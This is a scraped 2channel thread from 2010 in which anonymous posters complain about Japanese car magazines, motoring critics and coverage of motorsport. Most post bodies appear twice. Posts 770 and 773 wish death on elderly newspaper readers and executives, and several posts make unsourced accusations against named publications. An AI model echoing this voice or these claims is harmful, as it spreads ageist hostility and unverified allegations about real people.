当時はB4がバーゲンプライスだったってのもあるな
740 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 22:51:01 ID:LqtsNF2yP
>>738
日本ではプログレがあったから上質なコンパクトセダンとしての立ち位置が微妙になった
だから若者向けに４気筒ををラインに入れざるをえなかった
ベースモデルが４気筒であれば整合性があるが元々６気筒のシャシに載せたからさあ大変
昔のスカイラインのＧＴとＲＳみたいな関係になってしまった
４気筒はRS-TURBO Cって名称にすれば良かったのかもね
日本ではプログレがあったから上質なコンパクトセダンとしての立ち位置が微妙になった
だから若者向けに４気筒ををラインに入れざるをえなかった
ベースモデルが４気筒であれば整合性があるが元々６気筒のシャシに載せたからさあ大変
昔のスカイラインのＧＴとＲＳみたいな関係になってしまった
４気筒はRS-TURBO Cって名称にすれば良かったのかもね
741 ：名無しさん＠そうだドライブへ行こう：2010/10/04(月) 23:35:52 ID:8N2J+ise0
どうみても日本市場はおまけでしょ
742 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 17:32:46 ID:qUWTN0RJ0
最近、雑誌やネットのクルマ記事なんて真剣に読んでいない 俺は
だって大体書かれてることなんて最初の3文字ぐらいで予測できんだもん
それより、クソみたいなものを真に受けないように努力したほうが良い
クルマは自分の五感で知るのが大事だって分かったよ
だって大体書かれてることなんて最初の3文字ぐらいで予測できんだもん
それより、クソみたいなものを真に受けないように努力したほうが良い
クルマは自分の五感で知るのが大事だって分かったよ
743 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 18:10:13 ID:TTSE1Upx0
日本の自称モータージャーナリストの香具師どもはアメリカのモータースポーツより
ヨーロッパのモータースポーツの方が偉いという偏見を持っている
IRLよりF-1,BAJA1000よりパリダカ,デイトナ24時間よりル･マン24時間が偉いみたいな書き方
ナスカーなんかも客入りがいいから見てるだけみたいな感じ
だからアメリカのモータースポーツをあまりわかっていない感じがする
具体的にはパイクスピークでモンスター田嶋を優勝候補として扱うが他の優勝候補を
軽く紹介する程度なのでモンタジが一人で勝ったみたいな印象になる
多くのドライバーやマシンが努力を重ねている事を取材していないので結局モンタジの
評価もイマイチ伝わりきってない
これがF-1なんかだとどのドライバーも凄い人が揃っていてその中で勝つから意味がある
と,伝えるのだがアメリカンモータースポーツはそういう感じが日本の雑誌やネットでは伝わらない
実際にモータースポーツやってる人は良い気がしないだろうな
ヨーロッパのモータースポーツの方が偉いという偏見を持っている
IRLよりF-1,BAJA1000よりパリダカ,デイトナ24時間よりル･マン24時間が偉いみたいな書き方
ナスカーなんかも客入りがいいから見てるだけみたいな感じ
だからアメリカのモータースポーツをあまりわかっていない感じがする
具体的にはパイクスピークでモンスター田嶋を優勝候補として扱うが他の優勝候補を
軽く紹介する程度なのでモンタジが一人で勝ったみたいな印象になる
多くのドライバーやマシンが努力を重ねている事を取材していないので結局モンタジの
評価もイマイチ伝わりきってない
これがF-1なんかだとどのドライバーも凄い人が揃っていてその中で勝つから意味がある
と,伝えるのだがアメリカンモータースポーツはそういう感じが日本の雑誌やネットでは伝わらない
実際にモータースポーツやってる人は良い気がしないだろうな
744 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 18:29:54 ID:qUWTN0RJ0
なもんだから、雑誌よりカタログやチラシやメーカーのHP眺めているほうがよっぽど面白いことに気が付いた
745 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 18:53:15 ID:DsJLttC50
>>743
それ、日本のグラスルーツ系モータースポーツにも同じ事言えるよ。
エボだインプだモータースポーツベースだすごいマシンが出たと騒いでいた頃、
ダートラやジムカーナ、ラリーを真面目に紹介する雑誌なんて、専門誌を除けば
100%皆無だった。
それでいてスポーツカー不在だなんだと騒ぎ立てる脳味噌の中身を一度見てみたいわ。
それ、日本のグラスルーツ系モータースポーツにも同じ事言えるよ。
エボだインプだモータースポーツベースだすごいマシンが出たと騒いでいた頃、
ダートラやジムカーナ、ラリーを真面目に紹介する雑誌なんて、専門誌を除けば
100%皆無だった。
それでいてスポーツカー不在だなんだと騒ぎ立てる脳味噌の中身を一度見てみたいわ。
746 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 19:37:10 ID:qUWTN0RJ0
商品のコンセプトとか、その商品のターゲット層なんかをきちんと理解しない
（というか、するつもりも無いんだろうケド・・日本の実用車なんかの場合は）で勝手にインプレして
ろくでもないもの書いて誌面やWebに載せちゃうんだもん
開発した人が報われないよ これじゃ
（というか、するつもりも無いんだろうケド・・日本の実用車なんかの場合は）で勝手にインプレして
ろくでもないもの書いて誌面やWebに載せちゃうんだもん
開発した人が報われないよ これじゃ
747 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 20:24:27 ID:MfFzU5uo0
一流レーサーにも自動車メーカーのエンジニアにもなれなかったただの編集屋上がりの連中だもん。
芸人としても三流以下。
どうせやるならもっと面白いことやってみろと。
芸人としても三流以下。
どうせやるならもっと面白いことやってみろと。
748 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 20:28:09 ID:s4BS/qNk0
747みたいな頭の足りないﾔｼがいるからﾆﾎﾟﾝは中国にﾊﾞｶにされるんだなあ。
749 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 20:35:25 ID:0yGABzRW0
750 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 20:53:57 ID:DsJLttC50
>>748はさすがに自己紹介乙と言われても仕方ないレベルだな・・
751 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 21:57:12 ID:s4BS/qNk0
ああ、すまんすまん。ここのレベルに併せられずに独走しちまったかね。
自動車評論家にすらなれなかったやつが一流レーサーになっていたり自動車メーカーのエンジニアになっている可能性はないのか？
自動車評論家にすらなれなかったやつが一流レーサーになっていたり自動車メーカーのエンジニアになっている可能性はないのか？
752 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 22:24:31 ID:9mmKx2tL0
評論家なんて所詮業界の寄生虫だし。
手に職を持ってる奴の方がよほどまともだ。
手に職を持ってる奴の方がよほどまともだ。
753 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 23:53:37 ID:IsLBT7uu0
マグXの不倫編集長みたいなこと言っているな
754 ：名無しさん＠そうだドライブへ行こう：2010/10/05(火) 23:59:53 ID:1JWIetMH0
755 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 00:15:22 ID:epSGX9xs0
全く畑の違う松任谷辺りのコメントの方がマトモに見える
前時代的なクルマの評論なんて…なんか、もう、お腹一杯で要らんわw
前時代的なクルマの評論なんて…なんか、もう、お腹一杯で要らんわw
756 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 00:50:34 ID:lsBs2CVF0
カーグラも欧州マンセーが酷いと思うけどな
松任谷は田辺さんと少し違うことを言うことで自分のプライドみたいしてる感じ
松任谷は田辺さんと少し違うことを言うことで自分のプライドみたいしてる感じ
757 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 00:56:08 ID:cOa6Ef/f0
松任谷とかは自分の好みを隠さないあたりがいいんじゃね？
90式戦車の試乗で
「斜め後ろから見るとまるでフェラーリ」
とか言い出したのには、ちょっとハッとさせられたよ。
90式戦車の試乗で
「斜め後ろから見るとまるでフェラーリ」
とか言い出したのには、ちょっとハッとさせられたよ。
758 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 00:58:20 ID:F0gUG+Oy0
自分で乗れば彼らの言うことがそうハズレではないこともわかる。
好き嫌いで言ってるとこもその旨明言してる。
好き嫌いで言ってるとこもその旨明言してる。
759 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 01:01:44 ID:lsBs2CVF0
>>757
欧州車オタとしてはあそこで「レオパルド2にそっくり」と言って欲しかった
結局車マスコミ関係は
○ 何も分かってないライター上がり（○口○とか）
○ 理系でフェードアウトした無能
○ 不思議ちゃん系（松○谷）
○ 走り屋上がり
って感じか
走り屋上がりはスポンサーには甘いが一番マシな気がするなぁ
欧州車オタとしてはあそこで「レオパルド2にそっくり」と言って欲しかった
結局車マスコミ関係は
○ 何も分かってないライター上がり（○口○とか）
○ 理系でフェードアウトした無能
○ 不思議ちゃん系（松○谷）
○ 走り屋上がり
って感じか
走り屋上がりはスポンサーには甘いが一番マシな気がするなぁ
760 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 09:29:05 ID:jMjKCtUw0
【コラム】世界から取り残されていく日本の『エコカー』、「日本車は燃費・品質がいい」は過去の伝説--両角岳彦 [09/28]
http://toki.2ch.net/test/read.cgi/bizplus/1285684571/l50
http://toki.2ch.net/test/read.cgi/bizplus/1285684571/l50
761 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 12:48:06 ID:ENrV/dW90
両角みたいなDQNでも一旦ポジションを獲得すれば
テキトーなこじつけ話書いてるだけで商売になるんだからいいよな
テキトーなこじつけ話書いてるだけで商売になるんだからいいよな
762 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 13:28:41 ID:RoX5kBtB0
>>744>>745
やっぱりそう思いますよね
自分はオフロード競技が大好きなのですが乗用車ラリー以上に扱いが悪い
パリダカの記事でも三菱とトヨタ車体,スガワラばっかりで他の優勝狙い
VW,BMW,シュレッサー,ゴードン(ハマー)は軽くしか紹介しない
カミオンのカマズやタトラなんて写真一枚あれば良い方
あんな記事では三菱優勝の時でも誰に勝ったかがイマイチ伝わり辛い
今年のパイクスピークで言えばリース･ミレンをどのぐらい紹介してたかを見れば一目瞭然
F-1で日本人も日本のスポンサーも付いてないしという理由でレッドブルやフェラーリを
紹介しなかったら記事にならない事ぐらいわからないのかね？
日本のオフロードレースJORでも4駆雑誌よりタイヤ供給してるグッドイヤーのサイトの方が
よっぽど役に立つ
このスレ見てると車雑誌が無くなっていくのは出版不況が原因では無いというのがよくわかります
やっぱりそう思いますよね
自分はオフロード競技が大好きなのですが乗用車ラリー以上に扱いが悪い
パリダカの記事でも三菱とトヨタ車体,スガワラばっかりで他の優勝狙い
VW,BMW,シュレッサー,ゴードン(ハマー)は軽くしか紹介しない
カミオンのカマズやタトラなんて写真一枚あれば良い方
あんな記事では三菱優勝の時でも誰に勝ったかがイマイチ伝わり辛い
今年のパイクスピークで言えばリース･ミレンをどのぐらい紹介してたかを見れば一目瞭然
F-1で日本人も日本のスポンサーも付いてないしという理由でレッドブルやフェラーリを
紹介しなかったら記事にならない事ぐらいわからないのかね？
日本のオフロードレースJORでも4駆雑誌よりタイヤ供給してるグッドイヤーのサイトの方が
よっぽど役に立つ
このスレ見てると車雑誌が無くなっていくのは出版不況が原因では無いというのがよくわかります
763 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 17:33:19 ID:ZROqcD9s0
昔トヨタやスバルがWRCで活躍してた時もサインツとマキネン以外知らない人間が記事書いてたくさいしな
764 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 19:08:10 ID:UT88JK7m0
それを言ったら「ベルガー？誰それ？」だった時代もｗ
765 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 22:09:08 ID:c79H2CXu0
766 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 23:08:19 ID:sMgouacO0
>>765
日本車をダメにしたのは軽自動車の廃止が出来なかった事とAT限定免許の導入だろうなw
日本車をダメにしたのは軽自動車の廃止が出来なかった事とAT限定免許の導入だろうなw
767 ：名無しさん＠そうだドライブへ行こう：2010/10/06(水) 23:28:48 ID:Zhcdw+MgP
>>765
プリウスがなければドイツ車だってハイブリッドは作らなかっただろ？
プリウスがなければドイツ車だってハイブリッドは作らなかっただろ？
768 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 01:04:02 ID:KfP8IHDM0
769 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 01:24:47 ID:xlS2K3zj0
10/5の朝日朝刊「声」（読者投稿欄）に横浜市瀬谷の78歳無職老人が
「軽自動車の増税を」と載っていた。
道路保守や整備の応分負担の点で増えている軽の税金が「安すぎる」との事。
どうもこの老人は「軽は市町村税、小型や普通は県税」の違いが
理解出来ていないようだ。
免許持ってない、または自分の車を持っていない者が言うと
どこか的外れだな。よく問題になる過給機付き軽（64馬力）に
しても、いまの販売数は少数派だもんな。
「軽自動車の増税を」と載っていた。
道路保守や整備の応分負担の点で増えている軽の税金が「安すぎる」との事。
どうもこの老人は「軽は市町村税、小型や普通は県税」の違いが
理解出来ていないようだ。
免許持ってない、または自分の車を持っていない者が言うと
どこか的外れだな。よく問題になる過給機付き軽（64馬力）に
しても、いまの販売数は少数派だもんな。
770 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 01:26:28 ID:G578imNa0
>>769
はっきり言って78にもなって朝日新聞読んでるような馬鹿な老人が死んだ方がエコだと思うな
はっきり言って78にもなって朝日新聞読んでるような馬鹿な老人が死んだ方がエコだと思うな
771 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 05:21:40 ID:2xf+uSHkP
年金長者
772 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 06:32:26 ID:gXGrKdRhO
>>766
自動車関連の税制度も入れて
自動車関連の税制度も入れて
773 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 12:39:14 ID:N2kdM3OfO
>>770
八十過ぎて読売新聞の大ボスやってる老害ジジイ共々早く逝ってくれw
八十過ぎて読売新聞の大ボスやってる老害ジジイ共々早く逝ってくれw
774 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 13:08:37 ID:4Bff2N3n0
>768
今もそのMTで車は開発されてるんだけどね・・・
今もそのMTで車は開発されてるんだけどね・・・
775 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 14:33:54 ID:KfP8IHDM0
>>774
とりあえず回すだけなら原始的なメカニズムで足りるからね…
とりあえず回すだけなら原始的なメカニズムで足りるからね…
776 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 21:59:37 ID:aQWFLq0y0
年末辺りには
ドライバー、カーアンドドライバー、カーグラが再度ピンチに陥るだろうねえ
ドライバー、カーアンドドライバー、カーグラが再度ピンチに陥るだろうねえ
777 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 22:55:38 ID:HOAHbQl70
44 名前：匿名希望さん ：2010/10/06(水) 22:41:38
今月号もまったく売れてないｗ「マガジンX」
45 名前：匿名希望さん ：2010/10/07(木) 06:43:27
マガジンＸビジネスというムックを出してから余計に売れなくなった気がするのは俺だけ？
俺はあれが出てから本体も読むのをやめたから。
47 名前：匿名希望さん ：2010/10/07(木) 21:05:36
編集費をせびるだけで、数字で貢献してない。
もともと薄っぺらな表面上だけの批判記事を
さらに水増しして、紙を埋めているだけ。
埋めて出しさえすれば、売れても売れなくても関係ないんだから、
お気楽な奴らだぜ。
今月号もまったく売れてないｗ「マガジンX」
45 名前：匿名希望さん ：2010/10/07(木) 06:43:27
マガジンＸビジネスというムックを出してから余計に売れなくなった気がするのは俺だけ？
俺はあれが出てから本体も読むのをやめたから。
47 名前：匿名希望さん ：2010/10/07(木) 21:05:36
編集費をせびるだけで、数字で貢献してない。
もともと薄っぺらな表面上だけの批判記事を
さらに水増しして、紙を埋めているだけ。
埋めて出しさえすれば、売れても売れなくても関係ないんだから、
お気楽な奴らだぜ。
778 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 23:09:41 ID:mWNg/5w80
／;;;;;;;;;;;;;;;;;;;;;Yヽ、
/;;;;;;┌--‐""""ヾ,ヽ
/:::::;;;ｿ ヾ;〉
〈;;;;;;;;;l ＿＿_ ＿＿i|
/⌒ヽﾘ─| -･=-H -･=-|! ／￣￣￣￣￣￣￣￣￣￣
| （ ｀ー─' |ー─'| ＜ >>766 俺様がとどめを刺したｗ
ヽ,, ヽ ． ,､__) ﾉ! ＼＿＿＿＿＿＿＿＿＿＿
| ノ ヽ |
∧ ｰ‐=‐- ./
／＼ヽ /
／ ＼ ヽ＼ ヽ__＿_,ノヽ
779 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 23:12:23 ID:mWNg/5w80
780 ：名無しさん＠そうだドライブへ行こう：2010/10/07(木) 23:39:38 ID:88HOlZd60
781 ：名無しさん＠そうだドライブへ行こう：2010/10/08(金) 10:13:12 ID:JGwFirz70
>>776
そうかい、カーグラは早く崩壊してもらいたいよ。
図書館に置いてあるから、たまたま読んでみたらあるは、あるは、の虚偽、間違いだらけで、それからカーグラスレで指摘してんだけど、
8月号分の虚偽、間違いなんか、こっちがコピーしてるともしらず、よほど嫌だったか、あぼーんしてやがったから再度さらし上げだよ。
とにかく車の知識基礎が無いので何度でも間違うし、調べるのも面倒になるのか平気で虚偽記載。更に恥の上塗りは商業用日本語が書けないので、
お子様のまちがい作文状態で金を請求できる体をなしていないという有様。
こいつらに図書館買い上げ利権で税金が流れてると思うとストップさせなければと。
そうかい、カーグラは早く崩壊してもらいたいよ。
図書館に置いてあるから、たまたま読んでみたらあるは、あるは、の虚偽、間違いだらけで、それからカーグラスレで指摘してんだけど、
8月号分の虚偽、間違いなんか、こっちがコピーしてるともしらず、よほど嫌だったか、あぼーんしてやがったから再度さらし上げだよ。
とにかく車の知識基礎が無いので何度でも間違うし、調べるのも面倒になるのか平気で虚偽記載。更に恥の上塗りは商業用日本語が書けないので、
お子様のまちがい作文状態で金を請求できる体をなしていないという有様。
こいつらに図書館買い上げ利権で税金が流れてると思うとストップさせなければと。
782 ：名無しさん＠そうだドライブへ行こう：2010/10/08(金) 10:46:21 ID:JGwFirz70
ちなみに小林や昔OBはちがうだろうな、
なんてファン自身で慰めるのかもしれないけど、今ですらあのメチャクチャさだから
昔のを精査したら、もうカーグラの権威崩壊だろうな。
今は9月号読んでて福野も何故か登場してんだけど、こいつも取り巻きの渡辺含め
間違いおおし
なんてファン自身で慰めるのかもしれないけど、今ですらあのメチャクチャさだから
昔のを精査したら、もうカーグラの権威崩壊だろうな。
今は9月号読んでて福野も何故か登場してんだけど、こいつも取り巻きの渡辺含め
間違いおおし
783 ：名無しさん＠そうだドライブへ行こう：2010/10/08(金) 11:15:12 ID:krE+9S080
>>781
あんた、プラシーボか？
知識が豊富なのはわかったから、あまり偏執な書き込みしないでくれ。
無駄にレスを消費してしょうがない。
もう十分にＣＧがダメなところってのは皆が共感してるんだからさ。
あんた、プラシーボか？
知識が豊富なのはわかったから、あまり偏執な書き込みしないでくれ。
無駄にレスを消費してしょうがない。
もう十分にＣＧがダメなところってのは皆が共感してるんだからさ。
784 ：名無しさん＠そうだドライブへ行こう：2010/10/08(金) 11:27:45 ID:JGwFirz70
>>783
あんた、関係者か？
間違い、嘘だらけなのはわかったから、あまり偏執にメーカー・インポーターに広告依頼しないでくれ。 あと図書館利権
無駄に税金を消費してしょうがない。車両価格も上がるし。
もう十分にＣＧがダメなところってのは自身たちが共感してるんだ？ｗ
あんた、関係者か？
間違い、嘘だらけなのはわかったから、あまり偏執にメーカー・インポーターに広告依頼しないでくれ。 あと図書館利権
無駄に税金を消費してしょうがない。車両価格も上がるし。
もう十分にＣＧがダメなところってのは自身たちが共感してるんだ？ｗ
785 ：名無しさん＠そうだドライブへ行こう：2010/10/08(金) 14:39:11 ID:6RC+qpGD0
もう車雑誌なんて何の為に出してるかわからないのが殆どだな
２ちゃんを鵜呑みにする訳でもないが車雑誌よりこのスレの方が役に立つよｗ
車のインプレといえば以前テレ東のWBSでキャスターの大浜平太郎さんの新車試乗が面白かった
車業界の人じゃないから知ったかぶりしないで言う事が素直で明快
勿論中途半端な横文字並べて悦に入るなんて事はしない
視聴者から好評だったというのも頷ける話だ
マトモな車雑誌や車番組作れば若者の車離れなんて関係無く一定の売上を確保するぐらいの事は出来そうだ
２ちゃんを鵜呑みにする訳でもないが車雑誌よりこのスレの方が役に立つよｗ
車のインプレといえば以前テレ東のWBSでキャスターの大浜平太郎さんの新車試乗が面白かった
車業界の人じゃないから知ったかぶりしないで言う事が素直で明快
勿論中途半端な横文字並べて悦に入るなんて事はしない
視聴者から好評だったというのも頷ける話だ
マトモな車雑誌や車番組作れば若者の車離れなんて関係無く一定の売上を確保するぐらいの事は出来そうだ
786 ：名無しさん＠そうだドライブへ行こう：2010/10/08(金) 15:50:19 ID:MJ7SWnyx0
非の打ち所がなくなったら
あら捜しだけして喜んでる奴は楽しみがなくなってがっかりだろ。
いいんだよ読んで面白ければ。
記事面白くないからブツクサ文句言ってるんであって、
正確無比な情報欲しいならそいつが自分でCG以外もあれこれ調べて当たり前。
あら捜しだけして喜んでる奴は楽しみがなくなってがっかりだろ。
いいんだよ読んで面白ければ。
記事面白くないからブツクサ文句言ってるんであって、
正確無比な情報欲しいならそいつが自分でCG以外もあれこれ調べて当たり前。
787 ：名無しさん＠そうだドライブへ行こう：2010/10/09(土) 03:59:48 ID:UVUfa+or0
788 ：名無しさん＠そうだドライブへ行こう：2010/10/09(土) 07:44:32 ID:Fc1bFXJJ0
789 ：名無しさん＠そうだドライブへ行こう：2010/10/09(土) 14:50:42 ID:h72PVqli0
>>785
＞２ちゃんを鵜呑みにする訳でもないが車雑誌よりこのスレの方が役に立つよｗ
それはさすがにどうだろな？
雑誌は執筆者が名前書いてるから、間違った事書いてればそいつを叩けるし。
２ちゃんじゃなくとも表立って文句言われるという意味で責任あるし。
このスレの場合は２ちゃんって言うだけで既に胡散臭い目で見るわけだから、
役に立つとすれば鬱憤晴らしくらいじゃね？
＞２ちゃんを鵜呑みにする訳でもないが車雑誌よりこのスレの方が役に立つよｗ
それはさすがにどうだろな？
雑誌は執筆者が名前書いてるから、間違った事書いてればそいつを叩けるし。
２ちゃんじゃなくとも表立って文句言われるという意味で責任あるし。
このスレの場合は２ちゃんって言うだけで既に胡散臭い目で見るわけだから、
役に立つとすれば鬱憤晴らしくらいじゃね？
790 ：名無しさん＠そうだドライブへ行こう：2010/10/09(土) 15:05:44 ID:vIuBg31D0
791 ：名無しさん＠そうだドライブへ行こう：2010/10/10(日) 00:27:24 ID:2mPa+74l0
>>780
いや、360ｃｃ時代ならともかく、今時の軽トラで追い越し車線100㎞/ｈ巡航なんて余裕だよ。
それに追い越し車線走行禁止じゃ、片側二車線の高速道路で最低制限速度ギリギリで走っている
過積載な大型トラックを追い越せないでしょ。
無能なお役人様や使えない国会議員みたいな事を言ってないのｗ
いや、360ｃｃ時代ならともかく、今時の軽トラで追い越し車線100㎞/ｈ巡航なんて余裕だよ。
それに追い越し車線走行禁止じゃ、片側二車線の高速道路で最低制限速度ギリギリで走っている
過積載な大型トラックを追い越せないでしょ。
無能なお役人様や使えない国会議員みたいな事を言ってないのｗ
792 ：名無しさん＠そうだドライブへ行こう：2010/10/10(日) 06:15:53 ID:G4OEOnqs0
まあ、追い越し車線を軽トラがダラダラ走っている
名阪国道みたいなもんと言いたいのだろう。
名阪国道みたいなもんと言いたいのだろう。
793 ：名無しさん＠そうだドライブへ行こう：2010/10/10(日) 22:28:19 ID:cGeo2EeKO
今日は静かだな
前のようにまったり進行の方が合ってると思う
前のようにまったり進行の方が合ってると思う
794 ：名無しさん＠そうだドライブへ行こう：2010/10/13(水) 22:52:46 ID:IrkSvqqh0
>>753
54 名前：匿名希望さん ：2010/10/10(日) 11:41:52
本作りをどんなに頑張っても、
もうどうにもならないくらいの負債を、
アフォ社長がＦＸで作ってしまったので、そろそろすべてが終わりです。
54 名前：匿名希望さん ：2010/10/10(日) 11:41:52
本作りをどんなに頑張っても、
もうどうにもならないくらいの負債を、
アフォ社長がＦＸで作ってしまったので、そろそろすべてが終わりです。
795 ：名無しさん＠そうだドライブへ行こう：2010/10/13(水) 23:28:37 ID:wLwn69re0
マガジンXはもういらんよ
総括で「こんなメンバーとは思わなかった（笑）」とか書いてるけどお前一人で書いてるのバレバレだよｗ
総括で「こんなメンバーとは思わなかった（笑）」とか書いてるけどお前一人で書いてるのバレバレだよｗ
796 ：名無しさん＠そうだドライブへ行こう：2010/10/14(木) 09:56:08 ID:2sov2TjU0
雑誌も腐っているが、サイトまで腐りだしたか
ボトルコーヒーあたりから何か変だなと思っていたが、
カービュー試乗レポートでダイソン掃除機の記事を見るとはｗ
ボトルコーヒーあたりから何か変だなと思っていたが、
カービュー試乗レポートでダイソン掃除機の記事を見るとはｗ
797 ：名無しさん＠そうだドライブへ行こう：2010/10/14(木) 18:25:04 ID:wPbS64/p0
カービューはクソみてぇな記事や特集、それにツイッターやってるバカの頭悪いコメントには吐き気がするが・・
ただ、写真は綺麗なんだよな・・・・・・
ただ、写真は綺麗なんだよな・・・・・・
798 ：名無しさん＠そうだドライブへ行こう：2010/10/14(木) 22:05:58 ID:wHt/w+H00
799 ：名無しさん＠そうだドライブへ行こう：2010/10/14(木) 23:41:00 ID:DgeK9GZK0
>>798
週刊経済誌もどきを月刊で出す…
「MAG-Xビジネス」が売れないのは当然だろう。
あちらは人も金も掛け方が全く違うし、
大抵の書店で1カ月前までのバックナンバーが
完備している。それだけ刷っているって事。
「MAG-Xビジネス」の流通量は本誌の5%ほどでしょ。
週刊経済誌もどきを月刊で出す…
「MAG-Xビジネス」が売れないのは当然だろう。
あちらは人も金も掛け方が全く違うし、
大抵の書店で1カ月前までのバックナンバーが
完備している。それだけ刷っているって事。
「MAG-Xビジネス」の流通量は本誌の5%ほどでしょ。
800 ：名無しさん＠そうだドライブへ行こう：2010/10/15(金) 00:47:55 ID:pHCkRgSPO
>>795
「業界関係者から聞いた話を、1人がまとめてる」ってどこかで見たな<マガジンXの総括
(業界関係者＝モーターファン・イラストレーテッドの執筆陣?)
ボンバー某がバラしたとかなんとか…
しかし、『総括』って言葉は、左翼臭がして嫌だなぁ…
まあ、マガジンXの総括は特定の車メーカーを『私刑』にかけてるから、ある意味当たってるかw
「業界関係者から聞いた話を、1人がまとめてる」ってどこかで見たな<マガジンXの総括
(業界関係者＝モーターファン・イラストレーテッドの執筆陣?)
ボンバー某がバラしたとかなんとか…
しかし、『総括』って言葉は、左翼臭がして嫌だなぁ…
まあ、マガジンXの総括は特定の車メーカーを『私刑』にかけてるから、ある意味当たってるかw
801 ：名無しさん＠そうだドライブへ行こう：2010/10/15(金) 16:39:38 ID:PCEjvfqn0
別にどういう演出で書いてたっていいよ。
顔出ししてこれといった中身のない対談してる記事なんていくらでもあるからな。
自分で乗れば中身が外れていないことくらいはわかる。
単に罵倒してるだけなら苦情殺到で連載続いてないだろう。
顔出ししてこれといった中身のない対談してる記事なんていくらでもあるからな。
自分で乗れば中身が外れていないことくらいはわかる。
単に罵倒してるだけなら苦情殺到で連載続いてないだろう。
802 ：名無しさん＠そうだドライブへ行こう：2010/10/15(金) 16:57:20 ID:7rG5NPMn0
総括は辛口ではあるがいつからかヒュンダイマンセーとかし始めたからねぇ
さすがにあんなレベルの車と日本車比べて韓国車が上とかないわな
どういう意図で書いてるのかは知らないけどさ
さすがにあんなレベルの車と日本車比べて韓国車が上とかないわな
どういう意図で書いてるのかは知らないけどさ
803 ：名無しさん＠そうだドライブへ行こう：2010/10/15(金) 22:00:58 ID:1aY53Bwr0
確かに新車の試乗程度なら
日本車と、それほど（値段差ほど）違いはない、と思うかもね＞韓国車
それこそ総括メンバーの常套句
「乗ってみれば」「クルマを知ってる人ほど」
大きな差に気づくはずなんだが…
日本車と、それほど（値段差ほど）違いはない、と思うかもね＞韓国車
それこそ総括メンバーの常套句
「乗ってみれば」「クルマを知ってる人ほど」
大きな差に気づくはずなんだが…
804 ：名無しさん＠そうだドライブへ行こう：2010/10/16(土) 02:39:26 ID:25LguXrg0
CGで福野が工場ねり歩く連載あったじゃん
ああいうのこそ継続しろよ
ネットで読めない事やれって
ああいうのこそ継続しろよ
ネットで読めない事やれって
805 ：名無しさん＠そうだドライブへ行こう：2010/10/16(土) 03:43:29 ID:6Jv5lSAz0
>>804
あれはあれで金と時間がかかる事だから
別冊にしてまとめたが、企業の特許部分とも
絡む事なので、福野や出版社がツッコめない
部分が出て行きつまる。
極上中古車の方は福野のレストア趣味忘備録。
あれはあれで金と時間がかかる事だから
別冊にしてまとめたが、企業の特許部分とも
絡む事なので、福野や出版社がツッコめない
部分が出て行きつまる。
極上中古車の方は福野のレストア趣味忘備録。
806 ：名無しさん＠そうだドライブへ行こう：2010/10/16(土) 11:15:42 ID:+T+WnbrF0
807 ：名無しさん＠そうだドライブへ行こう：2010/10/16(土) 13:11:15 ID:zhSR1ErX0
最近の日本車が相対的にレベル下がってきてるのは事実だろうね
エンジンとか酷いの増えてきたし
中国製エンジンとかバイクとかも酷いもの
エンジンとか酷いの増えてきたし
中国製エンジンとかバイクとかも酷いもの
808 ：名無しさん＠そうだドライブへ行こう：2010/10/16(土) 17:12:23 ID:gYknzsQk0
> あれはあれで金と時間がかかる事だから
長期レポート車を削ってでも
優先してやるべき
長期レポート車を削ってでも
優先してやるべき
809 ：名無しさん＠そうだドライブへ行こう：2010/10/17(日) 11:18:14 ID:ohKbwDXZ0
>>805
極上中古車はベストカーでバカにされてた
極上中古車はベストカーでバカにされてた
810 ：名無しさん＠そうだドライブへ行こう：2010/10/17(日) 17:36:02 ID:p7Y44eoX0
This is the radio 810 FEN Tokyo
811 ：名無しさん＠そうだドライブへ行こう：2010/10/17(日) 21:32:47 ID:SBiGI24Z0
>>807
「とにかく安くっ！」と言う国内市場の声を聞いて素直に安物カーを作ったまでｗ
「とにかく安くっ！」と言う国内市場の声を聞いて素直に安物カーを作ったまでｗ
812 ：名無しさん＠そうだドライブへ行こう：2010/10/18(月) 21:16:58 ID:dzhFQQZQ0
813 ：名無しさん＠そうだドライブへ行こう：2010/10/18(月) 22:35:11 ID:tjhJZuz50
極上中古車の作り方、あれロールスとかじゃなくてもっと手近な車でやってみてくれないかなぁ。
814 ：名無しさん＠そうだドライブへ行こう：2010/10/19(火) 02:31:16 ID:dAdMxyxB0
ここ10年で2台記事にしてるからねえ
それぞれマニアックな車であれだけやって見せたから
清掃マニュアルとしてはもう十分
それぞれマニアックな車であれだけやって見せたから
清掃マニュアルとしてはもう十分
